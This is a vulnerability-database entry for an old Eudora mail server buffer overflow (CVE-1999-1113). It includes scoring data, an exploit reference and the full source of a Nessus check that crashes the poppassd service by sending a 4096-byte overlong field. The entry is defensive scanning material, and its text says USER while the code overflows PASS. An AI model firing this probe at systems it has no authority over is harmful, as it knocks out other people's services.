Vulnerabilities > CVE-1999-1113 - Unspecified vulnerability in Eudora Internet Mail Server 1.2/2.0

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
eudora
nessus
exploit available

Summary

Buffer overflow in Eudora Internet Mail Server (EIMS) 2.01 and earlier on MacOS systems allows remote attackers to cause a denial of service via a long USER command to port 106.

Vulnerable Configurations

Part Description Count
Application
Eudora
3

Exploit-Db

descriptionQualcomm Eudora Internet Mail Server 1.2 Buffer Overflow Vulnerability. CVE-1999-1113. Remote exploit for linux platform
idEDB-ID:19069
last seen2016-02-02
modified1998-04-14
published1998-04-14
reporterNetstat Webmaster
sourcehttps://www.exploit-db.com/download/19069/
titleQualcomm Eudora Internet Mail Server 1.2 - Buffer Overflow Vulnerability

Nessus

NASL familyGain a shell remotely
NASL idPOPPASSD_TOO_LONG_USER.NASL
descriptionThe remote poppassd daemon crashes when a too long name is sent after the USER command. It might be possible for a remote attacker to run arbitrary code on this machine.
last seen2020-06-01
modified2020-06-02
plugin id17295
published2005-03-08
reporterThis script is Copyright (C) 2005-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/17295
titleEudora Internet Mail Server for Mac OS USER Overflow
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if(description)
{
 script_id(17295);
 script_version("1.14");

 script_cve_id("CVE-1999-1113");
 script_bugtraq_id(75);

 script_name(english:"Eudora Internet Mail Server for Mac OS USER Overflow");
 
 script_set_attribute(attribute:"synopsis", value:
"Arbitrary code may be run on the remote machine." );
 script_set_attribute(attribute:"description", value:
"The remote poppassd daemon crashes when a too long name is sent after 
the USER command.

It might be possible for a remote attacker to run arbitrary code on this
machine." );
 script_set_attribute(attribute:"solution", value:
"Upgrade your software or use another one." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2005/03/08");
 script_set_attribute(attribute:"vuln_publication_date", value: "1998/04/14");
 script_cvs_date("Date: 2018/07/25 18:58:04");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_summary(english: "Sends a too long USER command to poppassd");
 script_category(ACT_DESTRUCTIVE_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
 script_family(english: "Gain a shell remotely");

 script_dependencies('find_service1.nasl', 'find_service_3digits.nasl');
 script_exclude_keys("global_settings/supplied_logins_only");
 script_require_ports(106, "Services/pop3pw");
 exit(0);
}

include('audit.inc');
include('global_settings.inc');

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

port = get_kb_item("Services/pop3pw");
if (! port) port = 106;

if (! get_port_state(port)) exit(0);

soc = open_sock_tcp(port);
if (! soc) exit(0);

r = recv_line(socket:soc, length:4096);
if (r !~ '^200 ') exit (0);

send(socket: soc, data: 'USER nessus\r\n');
r = recv_line(socket: soc, length: 4096);
if (r !~ '^200 ') exit (0);

send(socket: soc, data: 'PASS '+crap(4096)+'\r\n');
line = recv_line(socket: soc, length: 4096);
close(soc);

sleep(1);

soc = open_sock_tcp(port);
if (! soc) { security_hole(port); exit(0); }

if (report_paranoia > 1 && ! line)
security_hole(port: port, extra: "
The remote poppassd daemon abruptly closes the connection when it 
receives a too long USER command.
It might be vulnerable to an exploitable buffer overflow.

Note that Nessus did not crash the service, so this might be a false
positive. However, if the poppassd service is run through inetd it is
impossible to reliably test this kind of flaw.
");